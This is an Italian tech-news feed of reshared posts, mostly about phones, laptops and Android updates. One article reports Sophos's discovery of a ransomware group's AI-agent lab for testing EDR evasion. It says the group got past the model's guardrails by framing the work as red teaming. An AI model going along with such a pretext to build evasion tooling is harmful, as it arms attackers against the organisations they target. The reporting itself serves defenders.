Non mancano le funzioni intelligenti: il dispositivo supporta Google Gemini, la ricerca con “cerchia e cerca”, e diverse funzionalità AI per l’editing fotografico come AI Gomma, rimozione riflessi AI, AI Sky e AI Beauty. Un set di strumenti solitamente riservato a smartphone ben più costosi.

Il nuovo modello da 512 GB rappresenta una scelta interessante per chi usa intensivamente fotocamere, giochi o applicazioni pesanti e vuole essere al sicuro dal problema dello spazio esaurito. Con meno di 43.000 yen, il POCO M8 5G si conferma uno degli smartphone più competitivi nella sua fascia.

POCO, il brand di Xiaomi noto per l’ottimo rapporto qualità-prezzo, ha annunciato una nuova variante del suo smartphone entry-level POCO M8 5G: il modello da 512 GB di storage interno. Una notizia attesa da chi cercava più spazio senza dover cambiare fascia di prezzo.

512 GB a soli 6.000 yen in più


Fino ad oggi il POCO M8 5G era disponibile in un’unica configurazione da 8 GB di RAM e 256 GB di storage, al prezzo di 36.980 yen. Con il nuovo modello da 512 GB, il prezzo sale a 42.980 yen: appena 6.000 yen in più per raddoppiare lo spazio disponibile. Un incremento contenuto, considerando che la capienza dello storage viene di fatto moltiplicata per due.

Scheda tecnica: Snapdragon 6 Gen 3 e display AMOLED 120Hz


Il POCO M8 5G è uno smartphone che punta molto sul rapporto prestazioni/prezzo. Al suo interno troviamo il chip Snapdragon 6 Gen 3 prodotto a 4nm, affiancato da 8 GB di RAM LPDDR5X e dall’unità storage da 256 o 512 GB. Per chi volesse ancora più spazio, c’è anche il supporto a microSD fino a 1 TB.

Il display è un pannello AMOLED da 6,77 pollici con risoluzione FHD+ (2392×1080), refresh rate fino a 120 Hz, luminosità di picco a 3.200 nit e supporto al colore DCI-P3. Numeri di tutto rispetto per questa fascia di prezzo.

Fotocamere e batteria


Sul fronte fotografico, il POCO M8 5G monta una fotocamera principale da 50 MP abbinata a un sensore di profondità da 2 MP. La fotocamera frontale è da 20 MP. La batteria da 5.520 mAh supporta la ricarica rapida cablata da 45W e il reverse charging fino a 18W.

Funzioni AI integrate


Non mancano le funzioni intelligenti: il dispositivo supporta Google Gemini, la ricerca con “cerchia e cerca”, e diverse funzionalità AI per l’editing fotografico come AI Gomma, rimozione riflessi AI, AI Sky e AI Beauty. Un set di strumenti solitamente riservato a smartphone ben più costosi.

Il nuovo modello da 512 GB rappresenta una scelta interessante per chi usa intensivamente fotocamere, giochi o applicazioni pesanti e vuole essere al sicuro dal problema dello spazio esaurito. Con meno di 43.000 yen, il POCO M8 5G si conferma uno degli smartphone più competitivi nella sua fascia.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Xiaomi 18, OPPO Find X10 e Vivo X500: i tre top di gamma cinesi potrebbero debuttare tutti a settembre 2026


Il secondo semestre 2026 si annuncia come uno dei più competitivi di sempre per il mercato degli smartphone Android premium. Secondo fonti leaker affidabili, tre dei principali produttori cinesi — Xiaomi, OPPO e Vivo — potrebbero svelare i propri nuovi flagship tutti nello stesso mese: settembre 2026. Xiaomi 18: la continuità di un successo La serie Xiaomi 18 seguirebbe la stessa finestra di lancio della generazione precedente. La gamma dovrebbe comprendere tre modelli (standard, Pro […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Il secondo semestre 2026 si annuncia come uno dei più competitivi di sempre per il mercato degli smartphone Android premium. Secondo fonti leaker affidabili, tre dei principali produttori cinesi — Xiaomi, OPPO e Vivo — potrebbero svelare i propri nuovi flagship tutti nello stesso mese: settembre 2026.

Xiaomi 18: la continuità di un successo


La serie Xiaomi 18 seguirebbe la stessa finestra di lancio della generazione precedente. La gamma dovrebbe comprendere tre modelli (standard, Pro e Pro Max), con il modello base che monterà uno schermo flat da 6,4 pollici a risoluzione 2K e una batteria da circa 7.000 mAh. I modelli superiori puntano a un sistema fotografico con doppio sensore da 200 megapixel e display secondario con funzioni AI.

OPPO Find X10: anticipa il lancio di un mese


OPPO sposterebbe in anticipo il lancio della serie Find X10, precedentemente previsto a ottobre. Il modello base avrebbe un sensore principale da 200 megapixel, una batteria da circa 8.000 mAh e il chip MediaTek Dimensity 9600 di nuova generazione.

Vivo X500: ZEISS e batteria da 7.000 mAh


Vivo completa il terzetto con la serie X500, già avvistata nel database IMEI di GSMA con quattro varianti: X500, X500 Pro, X500 Pro Max e X500e. Le specifiche attese includono il sistema fotografico sviluppato in collaborazione con ZEISS con tecnologia LOFIC, batteria da circa 7.000 mAh e processore Dimensity 9600. Un’eventuale contemporaneità dei tre lanci trasformerebbe settembre in un mese di fuoco per gli appassionati Android.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Samsung One UI 8.5: Galaxy S22, Z Fold 4 e Z Flip 4 probabilmente esclusi dall’aggiornamento


Il piano di aggiornamento a One UI 8.5 pubblicato da Samsung Hong Kong per il mese di giugno 2026 non include il Galaxy S22, il Galaxy Z Fold 4 e il Galaxy Z Flip 4. Sebbene si tratti di un calendario regionale e non di una conferma definitiva, la loro assenza dalla lista è considerata un segnale forte che questi modelli non riceveranno il nuovo sistema operativo. Una decisione attesa, coerente con le promesse Samsung Samsung aveva garantito per questi modelli quattro generazioni di […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Il piano di aggiornamento a One UI 8.5 pubblicato da Samsung Hong Kong per il mese di giugno 2026 non include il Galaxy S22, il Galaxy Z Fold 4 e il Galaxy Z Flip 4. Sebbene si tratti di un calendario regionale e non di una conferma definitiva, la loro assenza dalla lista è considerata un segnale forte che questi modelli non riceveranno il nuovo sistema operativo.

Una decisione attesa, coerente con le promesse Samsung


Samsung aveva garantito per questi modelli quattro generazioni di aggiornamenti Android e cinque anni di patch di sicurezza. Tenendo conto che One UI 8, basato su Android 16, rappresenta il quarto major update, One UI 8.5 — basato su Android 17 — sarebbe già oltre il limite garantito contrattualmente. L’esclusione è quindi coerente con gli impegni presi al momento della vendita, non una scelta penalizzante fuori programma.

Il supporto di sicurezza continuerà


La notizia non deve allarmare chi possiede questi dispositivi: le patch di sicurezza mensili continueranno a essere distribuite per almeno un altro anno. Chi utilizza un Galaxy S22, Z Fold 4 o Z Flip 4 per le attività quotidiane non si trova davanti a un’urgenza di cambio dispositivo. Chi invece desidera accedere alle novità di One UI 8.5 — nuove funzioni Galaxy AI, miglioramenti all’interfaccia — dovrà considerare il passaggio a un modello più recente come la serie Galaxy S25 o la futura S26, che garantiscono fino a 7 anni di supporto software.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

OPPO prepara uno smartphone con batteria da 10.000 mAh nella fascia media: autonomia record in arrivo


La gara alla batteria più capiente nel mondo degli smartphone Android sta per raggiungere un nuovo traguardo. Secondo il noto leaker cinese Digital Chat Station, OPPO starebbe sviluppando un modello della serie A con una batteria da ben 10.000 mAh (più precisamente 9.700 mAh di capacità nominale), destinato a un segmento di prezzo accessibile. Specifiche che non deludono nonostante il prezzo Nonostante il posizionamento mid-range, il dispositivo avrebbe un profilo tecnico tutt'altro che […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

La gara alla batteria più capiente nel mondo degli smartphone Android sta per raggiungere un nuovo traguardo. Secondo il noto leaker cinese Digital Chat Station, OPPO starebbe sviluppando un modello della serie A con una batteria da ben 10.000 mAh (più precisamente 9.700 mAh di capacità nominale), destinato a un segmento di prezzo accessibile.

Specifiche che non deludono nonostante il prezzo


Nonostante il posizionamento mid-range, il dispositivo avrebbe un profilo tecnico tutt’altro che spartano. Il display sarebbe un pannello OLED LTPS con risoluzione 1,5K e forma piatta, mentre il processore sarebbe realizzato con processo produttivo a 4nm. La scocca in materiale polimerico ad alta resistenza alle cadute garantirebbe anche una buona robustezza nella vita quotidiana.

Prezzo intorno ai 300 dollari


Il costo di listino in Cina sarebbe di circa 2.000 yuan, equivalenti a circa 300 dollari o 270 euro. Considerando OLED, risoluzione 1,5K e batteria da 10.000 mAh, si tratterebbe di un rapporto qualità/prezzo notevole, anche se il modello potrebbe rimanere confinato al mercato cinese o ad alcune regioni asiatiche.

Il mercato degli smartphone si sta rapidamente abituando a batterie da 7.000-8.000 mAh grazie alle celle al silicio-carbonio. Un dispositivo da 10.000 mAh nella fascia media potrebbe segnare un punto di non ritorno: ciò che oggi è un record potrebbe diventare presto lo standard per chi mette l’autonomia al primo posto.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Xiaomi 18: schermo 2K da 6,4 pollici e batteria da 7.000 mAh, nuovi dettagli sul prossimo flagship


Nuove indiscrezioni dal leaker Digital Chat Station delineano con maggiore precisione le caratteristiche dello Xiaomi 18, il flagship standard atteso per settembre 2026. Nonostante sia il modello base della gamma, le specifiche che emergono lo posizionano come uno smartphone di fascia altissima. Display: 6,4 pollici con risoluzione 2K Lo schermo dovrebbe crescere leggermente rispetto all'Xiaomi 17, passando a circa 6,4 pollici con aspect ratio 19,5:9 e bordi estremamente sottili e […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Nuove indiscrezioni dal leaker Digital Chat Station delineano con maggiore precisione le caratteristiche dello Xiaomi 18, il flagship standard atteso per settembre 2026. Nonostante sia il modello base della gamma, le specifiche che emergono lo posizionano come uno smartphone di fascia altissima.

Display: 6,4 pollici con risoluzione 2K


Lo schermo dovrebbe crescere leggermente rispetto all’Xiaomi 17, passando a circa 6,4 pollici con aspect ratio 19,5:9 e bordi estremamente sottili e simmetrici. La risoluzione sarebbe di classe 2K, con angoli più arrotondati rispetto al predecessore per un look più raffinato.

Batteria: il salto a 7.000 mAh


Il dato più sorprendente riguarda la batteria: il leaker parla di una capacità nell’ordine dei 7.000 mAh, una cifra straordinaria per un flagship compatto. Il merito è delle nuove celle al silicio-carbonio, più dense e leggere delle tradizionali al litio, che permettono di aumentare la capacità senza far esplodere le dimensioni fisiche del dispositivo.

Pro e Pro Max: fotocamere da 200 megapixel e sub-display AI


I modelli superiori della gamma avrebbero ambizioni ancora più grandi. L’Xiaomi 18 Pro e il Pro Max punterebbero a un sistema fotografico con due sensori da 200 megapixel (principale e teleobiettivo) e a un display secondario sul retro potenziato dall’intelligenza artificiale. Il chip della gamma sarebbe lo Snapdragon 8 Elite Gen 6 Pro, di cui Xiaomi potrebbe essere il primo produttore al mondo ad adottarlo.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Nuovo attacco HTTP/2 Bomb: vulnerabilità DoS contro i server Web


Un nuovo attacco di tipo DoS (Denial of Service, cioè negazione del servizio) chiamato HTTP/2 Bomb sta colpendo i principali server web moderni, tra cui Nginx, Apache HTTP Server, Microsoft IIS, Envoy e Cloudflare...

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Cose di cui si potrebbe fare a meno: Microsoft pubblica Coreutils for Windows!


Se fino a ieri un utente Linux all'interno della Powershell di Microsoft Windows si sarebbe sentito frastornato, con la pubblicazione di Coreutils for Windows le cose cambiano.
È infatti possibile avere comandi Linux nativi in Windows.
Il punto è: ce n'era davvero bisogno?

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve


Sophos ha scoperto un laboratorio malware automatizzato usato da un gruppo ransomware attivo: agenti AI tra cui Claude Opus 4.5 e Cursor testavano tecniche di evasione EDR contro Sophos, CrowdStrike e Windows Defender, con 80 moduli e 70+ tecniche. Un caso senza precedenti di AI applicata allo sviluppo offensivo.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Sophos ha scoperto che un gruppo ransomware attualmente attivo ha costruito un laboratorio automatizzato basato su agenti AI — tra cui Claude Opus 4.5 — per sviluppare e testare sistematicamente tecniche di evasione dagli endpoint detection and response (EDR). Non si tratta di fantascienza: l’infrastruttura era operativa, testava payload reali contro Sophos, CrowdStrike e Windows Defender, e i risultati venivano usati in attacchi reali contro organizzazioni globali.

Come è emersa la scoperta


L’indagine è partita da un alert anomalo su un endpoint cliente: payload malevoli provenivano da una directory di testing insolita. Approfondendo, i ricercatori di Sophos hanno trovato qualcosa di inaspettato — non solo malware, ma un intero framework di sviluppo e testing. L’ambiente conteneva profili Cobalt Strike configurati per mascherare il traffico beacon come richieste web legittime, un meccanismo di command-and-control via Telegram Bot API, script Python per l’iniezione di shellcode in processi Windows legittimi, e un Cloudflare Worker usato per nascondere il server C2 backend. Sophos ha collegato l’attività a operazioni di ransomware e furto di dati, ma non ha divulgato il nome del gruppo per via di indagini ancora in corso.

L’architettura del laboratorio: VM dedicate, agenti AI e MCP


Il nucleo dell’operazione era un laboratorio di test composto da più macchine virtuali Windows Server 2022, ognuna dedicata a un diverso prodotto EDR: una per Sophos, una per CrowdStrike, una terza come ambiente di controllo senza EDR installato. Una quarta VM Ubuntu ospitava un server Sliver per il command-and-control. L’attore ha utilizzato Ludus, una piattaforma per il deployment rapido di ambienti virtualizzati di sicurezza, per provisionare l’infrastruttura.

All’interno di questo ecosistema operavano più agenti AI coordinati tramite il protocollo Model Context Protocol (MCP), lo standard aperto che consente agli assistenti AI di interagire con strumenti e repository esterni. Un agente Claude Opus 4.5 fungeva da coordinatore principale, impostando le regole operative per gli altri agenti. Agenti specializzati si occupavano rispettivamente del testing EDR, della documentazione dei risultati, dell’hardening OPSEC, dei test di stress sul proxy e del deployment delle VM. Lo sviluppo del codice malevolo avveniva tramite Cursor, un IDE AI-native che integra capacità generative direttamente nell’ambiente di sviluppo.

Il workflow: da articoli di ricerca a payload ottimizzati


Il processo di sviluppo seguiva una pipeline iterativa ben strutturata. Gli agenti leggevano articoli di threat intelligence da blog di vendor come Kaspersky, Palo Alto Networks e Bishop Fox, oltre a post su X e Telegram. Le tecniche di bypass identificate venivano estratte, mappate sul framework MITRE ATT&CK, trasformate in moduli di test, eseguite nel laboratorio virtualizzato contro gli EDR target, e i risultati documentati per guidare l’iterazione successiva.

Il framework di generazione payload — uno strumento Python centrale — produceva eseguibili Windows personalizzati e DLL che incorporavano cifratura, tecniche di evasione e metodi di esecuzione alternativi. In totale, l’infrastruttura supportava quasi 80 moduli per testare oltre 70 tecniche di evasione distinte. Gli script Python erano in parte scritti in russo, e molti mostravano chiari pattern di generazione AI.

Un aspetto critico riguarda il pretesto usato con Claude: l’attore ha incorniciato il progetto come un framework di red team per eludere i guardrail del modello. Sophos ha segnalato il pattern ad Anthropic. “Tentativi di aggirare i limiti dei modelli usando framing benigno per prompt malevoli — come il pretesto del red team — sono stati osservati in numerosi casi negli ultimi dodici mesi,” ha dichiarato Rafe Pilling, Director of Threat Intelligence di Sophos.

Quanto è efficace davvero?


La documentazione interna al framework attestava un aumento progressivo del tasso di successo nell’evasione man mano che i moduli venivano raffinati. Tuttavia i dati di test effettivi analizzati durante l’indagine non supportavano queste affermazioni. “Non disponiamo dei dati per spiegare completamente le discrepanze, ma è probabile che le allucinazioni degli LLM abbiano avuto un ruolo,” ha concluso Pilling. Il risultato è paradossale: un laboratorio AI che produce documentazione ottimistica ma risultati meno convincenti di quanto dichiarato. Questo non riduce la pericolosità della tendenza, ma ne contestualizza i limiti attuali.

Due righe per i difensori


L’aspetto più preoccupante non è che l’AI abbia reso il ransomware invincibile — non è così, almeno per ora. Il problema è la scalabilità del processo di sviluppo: quello che richiedeva settimane di lavoro manuale per testare una singola tecnica di bypass può ora essere automatizzato in ore. I fondamentali della difesa restano invariati: patching, MFA/passkey, protezione degli endpoint. Ma l’accelerazione nel ciclo di sviluppo del malware significa che la finestra temporale tra la comparsa di una nuova tecnica di evasione e la sua adozione operativa da parte dei criminali si sta accorciando drasticamente.

Per i team di sicurezza, questa vicenda sottolinea l’importanza di monitorare attività anomale nelle directory di staging e testing, rilevare l’uso di tool di virtualizzazione come Ludus in ambienti non autorizzati, prestare attenzione all’abuso di strumenti di sviluppo AI-native per la generazione di codice sospetto, e verificare connessioni verso Telegram Bot API da endpoint aziendali come potenziale C2 channel.

Dario Fadda ha ricondiviso questo.

Microsoft porta le utilità Coreutils GNU/Linux nativamente su Windows: una rivoluzione per gli sviluppatori


Microsoft ha compiuto un passo significativo verso l’integrazione degli strumenti tipici delle distribuzioni GNU/Linux nel proprio sistema operativo. Durante l’evento Build 2026, l’azienda ha presentato Coreutils per Windows, una raccolta di utilità da riga...

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Google pubblica le specifiche hardware del Fitbit Air: chiunque può ora progettare accessori compatibili


Google ha compiuto un passo insolito per un grande produttore di tecnologia: ha reso pubbliche le specifiche hardware complete del Fitbit Air, il fitness tracker lanciato il mese scorso. Progettisti, artigiani e piccole aziende potranno ora sviluppare cinturini e accessori compatibili senza dover firmare accordi speciali con il colosso di Mountain View. Una community già attiva ha ispirato la decisione Il Fitbit Air adotta una struttura modulare a "pebble", con il sensore principale […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Google ha compiuto un passo insolito per un grande produttore di tecnologia: ha reso pubbliche le specifiche hardware complete del Fitbit Air, il fitness tracker lanciato il mese scorso. Progettisti, artigiani e piccole aziende potranno ora sviluppare cinturini e accessori compatibili senza dover firmare accordi speciali con il colosso di Mountain View.

Una community già attiva ha ispirato la decisione


Il Fitbit Air adotta una struttura modulare a “pebble”, con il sensore principale estraibile per consentire il cambio cinturino. Sin dal lancio, la community ha risposto con entusiasmo creando soluzioni di fissaggio alternative, incluse fascie da braccio personalizzate. Proprio questa vivacità creativa ha convinto Google a fornire strumenti ufficiali per standardizzare e incentivare lo sviluppo di accessori.

Disegni CAD, tolleranze e standard di sicurezza


Il materiale messo a disposizione è molto dettagliato: include disegni CAD 2D del sensore, le dimensioni precise dei punti di attacco, le tolleranze meccaniche e la forza necessaria per inserire e rimuovere il modulo. Sono presenti anche linee guida sui materiali, con specifiche sui limiti di sostanze chimiche e sui test di sicurezza cutanea, affinché i prodotti di terze parti rispettino gli stessi criteri qualitativi degli accessori ufficiali.

L’apertura dell’ecosistema Fitbit Air segna un approccio diverso rispetto al tradizionale modello chiuso dei wearable, avvicinando Google a una filosofia più simile a quella del mondo open source e aprendo la porta a un ecosistema di accessori potenzialmente molto variegato.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Google acquista il codice sorgente dagli sviluppatori del Play Store per addestrare la propria AI


Google starebbe contattando in via riservata alcuni sviluppatori di app Android per acquistare i diritti di utilizzo del loro codice sorgente. L'obiettivo, secondo fonti vicine alla questione, è migliorare gli strumenti di sviluppo basati su intelligenza artificiale, in particolare quelli legati all'ecosistema Gemini. Un programma pilota non pubblico L'iniziativa si starebbe svolgendo tramite un programma sperimentale non annunciato ufficialmente. Google avrebbe contattato alcuni […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Google starebbe contattando in via riservata alcuni sviluppatori di app Android per acquistare i diritti di utilizzo del loro codice sorgente. L’obiettivo, secondo fonti vicine alla questione, è migliorare gli strumenti di sviluppo basati su intelligenza artificiale, in particolare quelli legati all’ecosistema Gemini.

Un programma pilota non pubblico


L’iniziativa si starebbe svolgendo tramite un programma sperimentale non annunciato ufficialmente. Google avrebbe contattato alcuni sviluppatori del Play Store proponendo di acquistare una licenza non esclusiva sul loro codice sorgente, da utilizzare per “migliorare strumenti e prodotti per sviluppatori”. Il compenso offerto non è stato reso noto, né i dettagli precisi del contratto.

La corsa ai dati di addestramento per l’AI


Il codice open source disponibile pubblicamente su internet non è più sufficiente a differenziare i modelli AI per la programmazione. Strumenti come GitHub Copilot di Microsoft e Claude Code di Anthropic stanno alzando l’asticella, e Google avrebbe bisogno di dati di alta qualità — app reali e funzionanti — per competere. Le applicazioni del Play Store, con milioni di righe di codice Java, Kotlin e Flutter testato in produzione, rappresentano un dataset preziosissimo per addestrare modelli come Gemini Code Assist.

Gli sviluppatori mantengono la proprietà del codice


La partecipazione al programma non implica la cessione della proprietà intellettuale: gli sviluppatori conservano tutti i diritti e possono continuare a pubblicare, vendere o licenziare il loro software. A Google verrebbe accordata solo una licenza d’uso non esclusiva. Si tratterebbe quindi di una collaborazione volontaria e remunerata. Resta da vedere se il programma verrà esteso e reso più trasparente nei prossimi mesi.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Googlebook: Google punta sui laptop con una nuova piattaforma Android+ChromeOS, fino a 8 modelli nel 2026


Google starebbe preparando un'offensiva nel mercato dei notebook con un nuovo brand denominato Googlebook, una piattaforma che fonderebbe le caratteristiche di Android e ChromeOS in un'unica esperienza. Secondo le ultime indiscrezioni, potrebbero essere fino a 8 i modelli previsti entro la fine del 2026. Intel, Qualcomm e MediaTek: tre ecosistemi chip coinvolti I dispositivi confermati sarebbero divisi tra tre famiglie di processori. Quattro modelli monterebbero chip Intel della famiglia […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Google starebbe preparando un’offensiva nel mercato dei notebook con un nuovo brand denominato Googlebook, una piattaforma che fonderebbe le caratteristiche di Android e ChromeOS in un’unica esperienza. Secondo le ultime indiscrezioni, potrebbero essere fino a 8 i modelli previsti entro la fine del 2026.

Intel, Qualcomm e MediaTek: tre ecosistemi chip coinvolti


I dispositivi confermati sarebbero divisi tra tre famiglie di processori. Quattro modelli monterebbero chip Intel della famiglia Panther Lake (prossima generazione Core Ultra), con nomi in codice Felino, Lapis, Moonstone e Ruby. Tre sarebbero basati su Qualcomm Snapdragon X (Quenbi, Mica, Quartz). Un ultimo modello, chiamato Sapphire, sfrutterebbe il chip MediaTek Kompanio Ultra e potrebbe avere un form factor 2-in-1 con tastiera staccabile.

Obiettivo: sfidare Windows e Mac con l’ecosistema Google


Il progetto Googlebook sembra voler superare i limiti del Chromebook tradizionale, storicamente rivolto a un pubblico scolastico o entry-level. La fusione tra l’ecosistema Android — con le sue app e le integrazioni AI tramite Gemini — e la robustezza di ChromeOS potrebbe creare una proposta alternativa credibile a Windows e macOS nel segmento premium.

I lanci sarebbero concentrati nel secondo semestre 2026, probabilmente in vista della stagione natalizia. Non è ancora chiaro quali produttori realizzeranno i dispositivi né i prezzi, ma la scala del progetto suggerisce ambizioni significative da parte di Google nel mercato PC.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Pixel 11: gli sfondi ufficiali trapelano online e rivelano una palette di colori sobria e naturale per tutta la gamma


A qualche settimana dall'annuncio ufficiale atteso per l'estate, emergono le prime indiscrezioni visive sui Google Pixel 11. Il canale Telegram "Mystic Leaks" ha pubblicato quelli che sarebbero gli sfondi ufficiali dell'intera gamma — Pixel 11, Pixel 11 Pro, Pixel 11 Pro XL e Pixel 11 Pro Fold — suggerendo una direzione estetica più matura rispetto ai modelli precedenti. Dune, sabbia e linee naturali: il tema visivo del 2026 Gli sfondi trapelati presentano forme sinuose che richiamano […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

A qualche settimana dall’annuncio ufficiale atteso per l’estate, emergono le prime indiscrezioni visive sui Google Pixel 11. Il canale Telegram “Mystic Leaks” ha pubblicato quelli che sarebbero gli sfondi ufficiali dell’intera gamma — Pixel 11, Pixel 11 Pro, Pixel 11 Pro XL e Pixel 11 Pro Fold — suggerendo una direzione estetica più matura rispetto ai modelli precedenti.

Dune, sabbia e linee naturali: il tema visivo del 2026


Gli sfondi trapelati presentano forme sinuose che richiamano dune desertiche e ripple di sabbia, con una palette cromatica dominata da beige, marrone caldo, grigio e toni neutri in generale. È una scelta che si discosta nettamente dai colori vivaci — blu, verde, rosa acceso — che hanno caratterizzato i Pixel negli ultimi anni. L’impressione è quella di un design rivolto a un pubblico adulto, che preferisce l’eleganza alla vivacità.

Colori della scocca in linea con gli sfondi?


Storicamente, Google progetta gli sfondi di default in modo da creare armonia visiva con le colorazioni della scocca. Se il pattern si confermasse anche quest’anno, il Pixel 11 potrebbe essere disponibile prevalentemente in toni sabbia, beige chiaro e grigio argento. Il trend verso colorazioni premium e sobrie — già adottato da Samsung con le ultime serie Galaxy — sembrerebbe aver influenzato anche Google. Naturalmente trattandosi di materiale non ufficiale tutto è soggetto a cambiamenti, ma se questi sfondi fossero quelli definitivi, il Pixel 11 si presenterebbe come il modello più elegante nella storia della serie.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Fastfetch 2.64 introduce il rilevamento dei codec video accelerati dall’hardware


Fastfetch è un programma da terminale open source, sviluppato principalmente in linguaggio C, progettato per offrire una panoramica dettagliata e altamente personalizzabile delle informazioni di sistema direttamente dalla riga di comando. Si tratta di...

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

X.Org è ancora attivo e ha appena corretto 9 gravi vulnerabilità di sicurezza


Il progetto X.Org, nonostante la sua età e i recenti problemi che lo davano ormai per finito, continua a ricevere aggiornamenti critici per garantire la sicurezza dei sistemi che ancora si basano sul server...

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Nothing Ear (3a) e CMF Buds Neo: le cuffie true wireless ottengono le certificazioni, l’annuncio è vicino


Nothing e il suo sub-brand CMF si preparano ad ampliare la gamma di auricolari true wireless con due nuovi modelli entry-level. Sia il Nothing Ear (3a) che i CMF Buds Neo sono stati recentemente avvistati nei database di diverse agenzie di certificazione internazionali, segnale che il lancio ufficiale è ormai imminente. Certificazioni in Indonesia e India Il Nothing Ear (3a) è stato registrato presso la SDPPI indonesiana con il codice modello B193, mentre i CMF Buds Neo compaiono sia […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Nothing e il suo sub-brand CMF si preparano ad ampliare la gamma di auricolari true wireless con due nuovi modelli entry-level. Sia il Nothing Ear (3a) che i CMF Buds Neo sono stati recentemente avvistati nei database di diverse agenzie di certificazione internazionali, segnale che il lancio ufficiale è ormai imminente.

Certificazioni in Indonesia e India


Il Nothing Ear (3a) è stato registrato presso la SDPPI indonesiana con il codice modello B193, mentre i CMF Buds Neo compaiono sia sulla stessa agenzia (modello B190) che nel database BIS indiano. La presenza su più mercati suggerisce una distribuzione internazionale già pianificata. Le certificazioni non rivelano specifiche tecniche, ma storicamente questo passo precede l’annuncio ufficiale di poche settimane.

Nothing Ear (3a): la versione accessibile degli Ear (3)


Nothing ha già consolidato la strategia di affiancare agli auricolari premium una variante “a” più economica: gli Ear (a) hanno riscosso molto successo grazie al design trasparente iconico, alla cancellazione attiva del rumore e all’ottima autonomia, pur sacrificando alcune funzioni rispetto ai modelli superiori. Gli Ear (3a) seguiranno quasi certamente la stessa filosofia, rendendo l’ecosistema Nothing accessibile a una platea più ampia.

CMF Buds Neo: un nuovo livello di entry-level


Il suffisso “Neo” è una novità assoluta per CMF nel segmento auricolari. Potrebbe indicare un posizionamento ancora più aggressivo sul prezzo rispetto agli attuali CMF Buds Pro, in un mercato dove brand come Realme, Redmi e boAt si contendono ogni euro. Entrambi i prodotti sono attesi nelle prossime settimane.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Google migliora il backup di Android: presto si potrà scegliere esattamente cosa salvare sul cloud


Google sta lavorando a un aggiornamento significativo per il sistema di backup di Android. Nell'ultima versione beta dei Google Play Services (v26.22.30) sono state individuate tracce di una funzione che permetterà agli utenti di selezionare singolarmente le categorie di dati da includere nel backup cloud, superando il limite attuale che prevede una gestione tutto-o-niente. Backup personalizzabile per ogni tipo di dato Con la nuova interfaccia in sviluppo sarà possibile abilitare o […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Google sta lavorando a un aggiornamento significativo per il sistema di backup di Android. Nell’ultima versione beta dei Google Play Services (v26.22.30) sono state individuate tracce di una funzione che permetterà agli utenti di selezionare singolarmente le categorie di dati da includere nel backup cloud, superando il limite attuale che prevede una gestione tutto-o-niente.

Backup personalizzabile per ogni tipo di dato


Con la nuova interfaccia in sviluppo sarà possibile abilitare o disabilitare il backup per ciascuna categoria separatamente. Le opzioni identificate nel codice includono la cronologia delle chiamate, i messaggi SMS, le impostazioni del dispositivo e i dati delle app. Un utente potrà ad esempio scegliere di salvare solo le impostazioni di sistema escludendo gli SMS, oppure limitarsi al backup delle sole app.

Vantaggi per Google One e la privacy


Il risparmio di spazio su Google One sarà uno dei benefici più concreti. Parallelamente, la funzione potrebbe ridurre i tempi di backup e il consumo di dati mobili. Da segnalare un aspetto importante: disattivare una categoria potrebbe eliminare anche i dati già salvati nel cloud per quella categoria. Un meccanismo utile per la privacy, ma che richiederà attenzione per evitare perdite accidentali.

Anche il backup per singola app è in arrivo


Questo nuovo controllo si aggiungerebbe a un’altra funzione già segnalata in precedenza, che consentirà di gestire il backup app per app. L’insieme delle due novità rappresenterebbe la più grande evoluzione del sistema di backup di Android da anni. Non è ancora noto quando queste funzioni saranno disponibili al pubblico.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

LineageOS con Android 16 in arrivo sulle console portatili Android: Odin 2 e Retroid Pocket 6 tra i modelli supportati


Una buona notizia per chi possiede una console portatile basata su Android: la community di sviluppatori sta portando avanti il porting di LineageOS 23 basata su Android 16 su diversi handheld gaming. Tra i modelli coinvolti figurano l'AYN Odin 2, l'Odin 2 Mini, l'Odin 3, il Thor e il Retroid Pocket 6. Odin 2 e Odin 2 Mini: una seconda vita con Android 16 Per i possessori di Odin 2 e Odin 2 Mini, fermi ufficialmente ad Android 13, questa è una notizia particolarmente rilevante. Il porting […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Una buona notizia per chi possiede una console portatile basata su Android: la community di sviluppatori sta portando avanti il porting di LineageOS 23 basata su Android 16 su diversi handheld gaming. Tra i modelli coinvolti figurano l’AYN Odin 2, l’Odin 2 Mini, l’Odin 3, il Thor e il Retroid Pocket 6.

Odin 2 e Odin 2 Mini: una seconda vita con Android 16


Per i possessori di Odin 2 e Odin 2 Mini, fermi ufficialmente ad Android 13, questa è una notizia particolarmente rilevante. Il porting è ancora in fase di test ma potrebbe essere reso disponibile già il mese prossimo. LineageOS non si limita ad aggiornare il sistema operativo: porta con sé funzioni dedicate al gaming, come la possibilità di rimappare i pulsanti del controller fisico e scegliere tra layout preimpostati che emulano le configurazioni dei pad di varie console.

